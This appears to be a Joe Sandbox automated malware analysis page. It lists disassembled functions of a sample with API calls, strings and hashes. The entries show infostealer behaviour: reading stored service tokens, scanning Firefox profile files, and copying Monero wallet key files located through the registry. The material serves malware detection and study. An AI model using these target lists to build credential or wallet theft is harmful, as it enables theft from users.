Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$AllocLocal
String ID: AccountId$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3196764088-2907684507
Opcode ID: 8cc180aca6e7a6e58678fdcf0f000147e88d78ad4a6f04e09d2865cdfedbe73a
Instruction ID: 4ba3e6dae623367cbe107da2a9c387f358db36f1a1e180f6354d73e97109d201
Opcode Fuzzy Hash: 8cc180aca6e7a6e58678fdcf0f000147e88d78ad4a6f04e09d2865cdfedbe73a
Instruction Fuzzy Hash: DA225D71A057029FC724AF65C948A6B77A6AF84304F04853EF845A73E1DBB8EC05CB99

Function 00415038 Relevance: 67.5, APIs: 36, Strings: 2, Instructions: 983stringfileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,00431D70), ref: 0041504D
StrCmpCA.SHLWAPI(?,00431D74), ref: 00415068
lstrcpy.KERNEL32(00000000,0042D01C), ref: 004150A1
lstrcpy.KERNEL32(00000000,?), ref: 004150D4
lstrcatA.KERNEL32(00000000,00000000), ref: 004150E2
lstrlenA.KERNEL32(00431D64), ref: 004150ED
lstrcpy.KERNEL32(00000000,00000000), ref: 0041510A
lstrcatA.KERNEL32(00000000,00431D64), ref: 00415116
lstrlenA.KERNEL32(?), ref: 00415124
lstrcpy.KERNEL32(00000000,00000000), ref: 0041514A
lstrcatA.KERNEL32(00000000,?), ref: 00415159
lstrcpy.KERNEL32(00000000,00000000), ref: 00415184
StrCmpCA.SHLWAPI(?,prefs.js), ref: 004151AE
FindNextFileA.KERNELBASE(?,?), ref: 00415689
FindClose.KERNEL32(?), ref: 00415698

Strings

prefs.js, xrefs: 004151A1
P2#v, xrefs: 00415689

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$Findlstrlen$CloseFileNext
String ID: P2#v$prefs.js
API String ID: 4152203504-1098095979
Opcode ID: 0ea822dd39c33350bd650c87e578064204b7b8aac0de3790df18f8a3d579a0a8
Instruction ID: 2e504b45edfd894b83ad24f31b9a050e108365a51ed70a80c9493e8a5115531a
Opcode Fuzzy Hash: 0ea822dd39c33350bd650c87e578064204b7b8aac0de3790df18f8a3d579a0a8
Instruction Fuzzy Hash: 4B822D70A01601CFDB24DF29C988B96B7E5AF84314F19C1AEE8099B3A1D779DC81CF95

Function 00415036 Relevance: 67.5, APIs: 36, Strings: 2, Instructions: 982stringfileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,00431D70), ref: 0041504D
StrCmpCA.SHLWAPI(?,00431D74), ref: 00415068
lstrcpy.KERNEL32(00000000,0042D01C), ref: 004150A1
lstrcpy.KERNEL32(00000000,?), ref: 004150D4
lstrcatA.KERNEL32(00000000,00000000), ref: 004150E2
lstrlenA.KERNEL32(00431D64), ref: 004150ED
lstrcpy.KERNEL32(00000000,00000000), ref: 0041510A
lstrcatA.KERNEL32(00000000,00431D64), ref: 00415116
lstrlenA.KERNEL32(?), ref: 00415124
lstrcpy.KERNEL32(00000000,00000000), ref: 0041514A
lstrcatA.KERNEL32(00000000,?), ref: 00415159
lstrcpy.KERNEL32(00000000,00000000), ref: 00415184
StrCmpCA.SHLWAPI(?,prefs.js), ref: 004151AE
FindNextFileA.KERNELBASE(?,?), ref: 00415689
FindClose.KERNEL32(?), ref: 00415698

Strings

prefs.js, xrefs: 004151A1
P2#v, xrefs: 00415689

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$Findlstrlen$CloseFileNext
String ID: P2#v$prefs.js
API String ID: 4152203504-1098095979
Opcode ID: 76b68d653db6905292b0ac28e90d79dddf7e156f2b2a5bc8b039d2643d4a1adb
Instruction ID: fb74b234347ca9eea2b1a58f7d2b76c96a50ce75a2a4ee307f91f76eafbe8a0d
Opcode Fuzzy Hash: 76b68d653db6905292b0ac28e90d79dddf7e156f2b2a5bc8b039d2643d4a1adb
Instruction Fuzzy Hash: A2822D70A01601CFDB24DF29C988B96B7E5AF84314F19C1AEE8099B3A1D779DC81CF95

Function 0040B960 Relevance: 63.5, APIs: 42, Instructions: 542
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040B993
lstrlenA.KERNEL32(008097F8), ref: 0040B9B2
lstrcpy.KERNEL32(00000000,?), ref: 0040B9DF
lstrcatA.KERNEL32(00000000,00000000), ref: 0040B9E7
lstrlenA.KERNEL32(00431D64), ref: 0040B9F2
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BA12
lstrcatA.KERNEL32(00000000,00431D64), ref: 0040BA1E
lstrcpy.KERNEL32(00000000,?), ref: 0040BA49
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BA54
lstrlenA.KERNEL32(00809888), ref: 0040BA62
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BA8E
lstrcatA.KERNEL32(00000000,00809888), ref: 0040BA96
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BAC7
lstrlenA.KERNEL32(008097F8), ref: 0040BAEC
lstrcpy.KERNEL32(00000000,?), ref: 0040BB19
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BB21
lstrlenA.KERNEL32(00431D64), ref: 0040BB2C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BB4C
lstrcatA.KERNEL32(00000000,00431D64), ref: 0040BB58
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BB81
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BB8C
lstrlenA.KERNEL32(00435170), ref: 0040BB97
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BBB9
lstrcatA.KERNEL32(00000000,00435170), ref: 0040BBC5
lstrcpy.KERNEL32(00000000,?), ref: 0040BBED
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BBF8
lstrlenA.KERNEL32(00809888), ref: 0040BC0A
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BC33
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BC41
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BC6F
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040BD0F
lstrlenA.KERNEL32(00000000), ref: 0040BD42
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BD6C
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BD74
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BD9C

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen
String ID:
API String ID: 2762123234-0
Opcode ID: a4e7497c74376f63ba371077d4d76070e522a766a1224d7f1265cb1ca2c7135d
Instruction ID: 27ca456f2e1794145888760c18b1899aff94af11292d863f2adbb0f3f5adb297
Opcode Fuzzy Hash: a4e7497c74376f63ba371077d4d76070e522a766a1224d7f1265cb1ca2c7135d
Instruction Fuzzy Hash: AF123B71A006069FCB20AF65CD89AAFB7B5EF44704F14413AE905B72A1DB79DD01CBE8

Function 00410EA0 Relevance: 60.6, APIs: 40, Instructions: 603stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 00410ED2
lstrlenA.KERNEL32(00810AB0), ref: 00410EE1
lstrcpy.KERNEL32(00000000,00000000), ref: 00410F04
lstrcatA.KERNEL32(00000000,00000000), ref: 00410F0F
lstrcpy.KERNEL32(00000000,00000000), ref: 00410F35
lstrcpy.KERNEL32(00000000,?), ref: 00410F73
lstrcatA.KERNEL32(00000000), ref: 00410F7D
lstrcpy.KERNEL32(00000000,00000000), ref: 00410FA6
CopyFileA.KERNEL32(?,00000000,00000001), ref: 00410FC2
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00410FF2
lstrlenA.KERNEL32(008097F8), ref: 00411001
lstrcpy.KERNEL32(00000000,?), ref: 0041102B
lstrcatA.KERNEL32(00000000,?), ref: 00411033
lstrlenA.KERNEL32(00431D64), ref: 0041103E
lstrcpy.KERNEL32(00000000,00000000), ref: 0041105E
lstrcatA.KERNEL32(00000000,00431D64), ref: 0041106A
lstrcpy.KERNEL32(00000000,00000000), ref: 00411090
lstrcatA.KERNEL32(00000000,00000000), ref: 0041109B
lstrlenA.KERNEL32(00435170), ref: 004110A6
lstrcpy.KERNEL32(00000000,?), ref: 004110C9
lstrcatA.KERNEL32(00000000,00435170), ref: 004110D5
lstrcpy.KERNEL32(00000000,00000000), ref: 004110F8
lstrcatA.KERNEL32(00000000,00000000), ref: 00411103
lstrlenA.KERNEL32(00809888), ref: 00411112
lstrcpy.KERNEL32(00000000,00000000), ref: 0041113C
lstrcatA.KERNEL32(00000000,00000000), ref: 00411147
lstrcpy.KERNEL32(00000000,00000000), ref: 00411171
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00411210
lstrcpy.KERNEL32(00000000,00000000), ref: 00411262

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$CopyFile
String ID:
API String ID: 4143980809-0
Opcode ID: a80b0079ef055ac206262758db65640cf7341f08cb81ee1223c3c4c40719b299
Instruction ID: 7d2f530efc8961d2ee140c7726471f4cf38fbafeca42a1c35b8f5c630af43aa2
Opcode Fuzzy Hash: a80b0079ef055ac206262758db65640cf7341f08cb81ee1223c3c4c40719b299
Instruction Fuzzy Hash: B9327571A012069FDB24DF65D988AAF77B5AF44704F14802AE905A73B1D7B8DC82CF98

Function 0041AA7B Relevance: 58.9, APIs: 39, Instructions: 432
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(004350AC), ref: 0041AA85
lstrcpy.KERNEL32(00000000,00000000), ref: 0041AAA7
lstrcatA.KERNEL32(00000000,004350AC), ref: 0041AAB3
lstrcpy.KERNEL32(00000000,00000000), ref: 0041AADC
lstrlenA.KERNEL32(00810BB8), ref: 0041AAF2
lstrcpy.KERNEL32(00000000,00000000), ref: 0041AB1A
lstrcatA.KERNEL32(00000000,00000000), ref: 0041AB25
lstrcpy.KERNEL32(00000000,00000000), ref: 0041AB4E
lstrcpy.KERNEL32(00000000,00000000), ref: 0041AB91
lstrcatA.KERNEL32(00000000), ref: 0041AB9B
lstrcpy.KERNEL32(00000000,00000000), ref: 0041ABC2
lstrlenA.KERNEL32(004350AC), ref: 0041ABDC
lstrcpy.KERNEL32(00000000,?), ref: 0041ABFC
lstrcatA.KERNEL32(00000000,004350AC), ref: 0041AC08
lstrcpy.KERNEL32(00000000,00000000), ref: 0041AC2F
lstrlenA.KERNEL32(00810B88), ref: 0041AC45
lstrcpy.KERNEL32(00000000,00000000), ref: 0041AC6D
lstrcatA.KERNEL32(00000000,00000000), ref: 0041AC78
lstrcpy.KERNEL32(00000000,00000000), ref: 0041ACA1
lstrcpy.KERNEL32(00000000,00000000), ref: 0041ACE4
lstrcatA.KERNEL32(00000000,00000000), ref: 0041ACEE
lstrcpy.KERNEL32(00000000,00000000), ref: 0041AD17
lstrlenA.KERNEL32(004350AC), ref: 0041AD31
lstrcpy.KERNEL32(00000000,00000000), ref: 0041AD53
lstrcatA.KERNEL32(00000000,004350AC), ref: 0041AD5F
lstrcpy.KERNEL32(00000000,00000000), ref: 0041AD88
lstrlenA.KERNEL32(004350AC), ref: 0041AD9A
lstrcpy.KERNEL32(00000000,00000000), ref: 0041ADBC
lstrcatA.KERNEL32(00000000,004350AC), ref: 0041ADC8
lstrcpy.KERNEL32(00000000,00000000), ref: 0041ADF1
lstrlenA.KERNEL32(00810E10), ref: 0041AE07
lstrcpy.KERNEL32(00000000,00000000), ref: 0041AE2F
lstrcatA.KERNEL32(00000000,00000000), ref: 0041AE3A
lstrcpy.KERNEL32(00000000,00000000), ref: 0041AE63
lstrcpy.KERNEL32(00000000,00000000), ref: 0041AE9F
lstrcatA.KERNEL32(00000000,00000000), ref: 0041AEA9
lstrcpy.KERNEL32(00000000,00000000), ref: 0041AECF
lstrlenA.KERNEL32(00000000), ref: 0041AEE5
lstrcpy.KERNEL32(00000000,00810C00), ref: 0041AF18

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen
String ID:
API String ID: 2762123234-0
Opcode ID: f90a7d4ada6ff8c6870828bb00c84acc68cb318d8acbf5feaf8205a4b2520b61
Instruction ID: aea49b6bef908c2552cee402286c7a5fa890ce2bd5db2330a890c44f67122dd3
Opcode Fuzzy Hash: f90a7d4ada6ff8c6870828bb00c84acc68cb318d8acbf5feaf8205a4b2520b61
Instruction Fuzzy Hash: 1EF15071A026169BCB11EB65CD4DAEF77BAAF00304F04452AF404E72A1DBB8DD51CBE9

Function 00416190 Relevance: 57.6, APIs: 38, Instructions: 594
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 004161C5
lstrcpy.KERNEL32(00000000,0042D01C), ref: 004161F2
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00416221
lstrcpy.KERNEL32(00000000,00000000), ref: 00416252
lstrcpy.KERNEL32(00000000,00000000), ref: 0041627A
lstrcatA.KERNEL32(00000000,00000000), ref: 00416285
lstrcpy.KERNEL32(00000000,00000000), ref: 004162B0
lstrcpy.KERNEL32(00000000,00000000), ref: 004162E9
lstrcatA.KERNEL32(00000000,00000000), ref: 004162F4
lstrcpy.KERNEL32(00000000,00000000), ref: 0041631F
lstrcatA.KERNEL32(00000000,00000000), ref: 0041632A
lstrcpy.KERNEL32(00000000,00000000), ref: 00416352
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,00000000), ref: 0041638A
lstrcpy.KERNEL32(00000000,00000000), ref: 004163C1
lstrcpy.KERNEL32(00000000,00000000), ref: 004163EC
lstrcatA.KERNEL32(00000000,00000000), ref: 004163F7

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FolderPath
String ID:
API String ID: 2440492483-0
Opcode ID: 7d2c95b2761cbf51b8e97327f99076afd1edc0969d45cfcbc39d4cb8f5fabd47
Instruction ID: 4695496adf7c4d14d301dca32b1c9dc2e7b62a0ba08c4e3d02e7c9a76e2cc857
Opcode Fuzzy Hash: 7d2c95b2761cbf51b8e97327f99076afd1edc0969d45cfcbc39d4cb8f5fabd47
Instruction Fuzzy Hash: E422A071A002159BCB20EF69CD89AEF7BB5AF44304F05453EF805A73A1CB78DD858B98

Function 004168B6 Relevance: 54.7, APIs: 29, Strings: 2, Instructions: 428
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 004168D5
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00416910
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0041693A
lstrcpy.KERNEL32(00000000,00000000), ref: 00416971
lstrcpy.KERNEL32(00000000,00000000), ref: 00416996
lstrcatA.KERNEL32(00000000,00000000), ref: 0041699E
lstrcpy.KERNEL32(00000000,00000000), ref: 004169C7

Strings

C, xrefs: 00416BB3
\..\, xrefs: 00416AB1, 00416ADC

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$FolderPathlstrcat
String ID: \..\$C
API String ID: 2938889746-637733881
Opcode ID: 02dcdf9f6073dacb2d0ff9ba3dd765cfae0151a444fa9eb28cfce16fcb4e99f2
Instruction ID: 7a43999819f02dcb6a43242a918c4cc7a8e75dee49f79dde68d84a95042b5804
Opcode Fuzzy Hash: 02dcdf9f6073dacb2d0ff9ba3dd765cfae0151a444fa9eb28cfce16fcb4e99f2
Instruction Fuzzy Hash: 38F1B071E016159BCB20AF79CD49AAF77B5AF44304F05812AA805E73A1DB7CDD81CFA8

Function 00401070 Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 278stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040108A

Part of subcall function 00401000: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00401015
Part of subcall function 00401000: HeapAlloc.KERNEL32(00000000), ref: 0040101C
Part of subcall function 00401000: RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,?), ref: 00401039
Part of subcall function 00401000: RegQueryValueExA.ADVAPI32(?,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401053
Part of subcall function 00401000: RegCloseKey.ADVAPI32(?), ref: 0040105D

lstrcatA.KERNEL32(?,00000000), ref: 004010A0
lstrlenA.KERNEL32(?), ref: 004010AD
lstrcatA.KERNEL32(?,.keys), ref: 004010C8
lstrcpy.KERNEL32(00000000,0042D01C), ref: 004010FF
lstrlenA.KERNEL32(00809A58), ref: 0040110D
lstrcpy.KERNEL32(00000000,?), ref: 00401131
lstrcatA.KERNEL32(00000000,00809A58), ref: 00401139
lstrlenA.KERNEL32(\Monero\wallet.keys), ref: 00401144
lstrcpy.KERNEL32(00000000,00000000), ref: 00401168
lstrcatA.KERNEL32(00000000,\Monero\wallet.keys), ref: 00401174
lstrcpy.KERNEL32(00000000,00000000), ref: 0040119A
lstrcpy.KERNEL32(00000000,0042D01C), ref: 004011DF
lstrlenA.KERNEL32(00810AB0), ref: 004011EE
lstrcpy.KERNEL32(00000000,?), ref: 00401215
lstrcatA.KERNEL32(00000000,?), ref: 0040121D
lstrcpy.KERNEL32(00000000,00000000), ref: 00401258
lstrcatA.KERNEL32(00000000), ref: 00401265
lstrcpy.KERNEL32(00000000,00000000), ref: 0040128C
CopyFileA.KERNEL32(?,?,00000001), ref: 004012B5
lstrcpy.KERNEL32(00000000,?), ref: 004012E1
lstrcpy.KERNEL32(00000000,?), ref: 0040131D

Part of subcall function 0041EF30: lstrcpy.KERNEL32(00000000,?), ref: 0041EF62

DeleteFileA.KERNEL32(?), ref: 00401351
memset.MSVCRT ref: 0040136E

Strings

.keys, xrefs: 004010BC
\Monero\wallet.keys, xrefs: 0040113F, 0040116E

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$FileHeapmemset$AllocCloseCopyDeleteOpenProcessQueryValue
String ID: .keys$\Monero\wallet.keys
API String ID: 2734118222-3586502688
Opcode ID: 7ec436b65559b6846bb6c42076cc5d3803351d47b0511174f1de7f7ef66afa6e
Instruction ID: 95442954b0c09f74f01b2627741839e7c598bf71559ee3eba0e7726b6ccc06b1
Opcode Fuzzy Hash: 7ec436b65559b6846bb6c42076cc5d3803351d47b0511174f1de7f7ef66afa6e
Instruction Fuzzy Hash: F0A15E71A002059BCB10AFB5DD89A9F77B9AF48304F44417AF905F72E1DB78DD018BA8

Function 00415BE0 Relevance: 45.5, APIs: 30, Instructions: 486stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 00415C15
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00415C44
lstrcpy.KERNEL32(00000000,00000000), ref: 00415C75
lstrcpy.KERNEL32(00000000,00000000), ref: 00415C9D
lstrcatA.KERNEL32(00000000,00000000), ref: 00415CA8
lstrcpy.KERNEL32(00000000,00000000), ref: 00415CD0
lstrcpy.KERNEL32(00000000,00000000), ref: 00415D08
lstrcatA.KERNEL32(00000000,00000000), ref: 00415D13
lstrcpy.KERNEL32(00000000,00000000), ref: 00415D38
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00415D6E
lstrcpy.KERNEL32(00000000,00000000), ref: 00415D96
lstrcatA.KERNEL32(00000000,00000000), ref: 00415DA1
lstrcpy.KERNEL32(00000000,00000000), ref: 00415DC8
lstrlenA.KERNEL32(00431D64), ref: 00415DDA
lstrcpy.KERNEL32(00000000,00000000), ref: 00415DF9
lstrcatA.KERNEL32(00000000,00431D64), ref: 00415E05
lstrlenA.KERNEL32(008109A8), ref: 00415E14
lstrcpy.KERNEL32(00000000,00000000), ref: 00415E37
lstrcatA.KERNEL32(00000000,00000000), ref: 00415E42
lstrcpy.KERNEL32(00000000,00000000), ref: 00415E6C
lstrcpy.KERNEL32(00000000,00000000), ref: 00415E98
GetFileAttributesA.KERNEL32(00000000), ref: 00415E9F
lstrcpy.KERNEL32(00000000,?), ref: 00415EF7
lstrcpy.KERNEL32(00000000,?), ref: 00415F66
lstrcpy.KERNEL32(00000000,?), ref: 00415F98
lstrcpy.KERNEL32(00000000,?), ref: 00415FDB
lstrcpy.KERNEL32(00000000,00000000), ref: 00416007
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0041603F
lstrcpy.KERNEL32(00000000,?), ref: 004160B1
lstrcpy.KERNEL32(00000000,00000000), ref: 004160D5

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$AttributesFileFolderPath
String ID:
API String ID: 2428362635-0
Opcode ID: 32707080d9fdcf40506a9cfa18bbe7b7ddafc964802ca8eaa6a348bb42994a59
Instruction ID: d4c225b7a5d5692a4e1677b49a718e79f0114d47e2a6ab2a382d75b311041eeb
Opcode Fuzzy Hash: 32707080d9fdcf40506a9cfa18bbe7b7ddafc964802ca8eaa6a348bb42994a59
Instruction Fuzzy Hash: DA02A071A016159BCB20EF65CD89AEF7BB5AF44304F04412AF805A73A1DB78DD85CBE8

Function 0042020C Relevance: 44.9, APIs: 25, Strings: 4, Instructions: 1414stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 0042022F
lstrlenA.KERNEL32(0042D01C,00000000,00000000,00000000), ref: 00420250
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00420285
lstrlenA.KERNEL32(0042D01C), ref: 00420290
lstrcpy.KERNEL32(00000000,0042D01C), ref: 004202C5
lstrlenA.KERNEL32(0042D01C), ref: 004202D0
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00420305
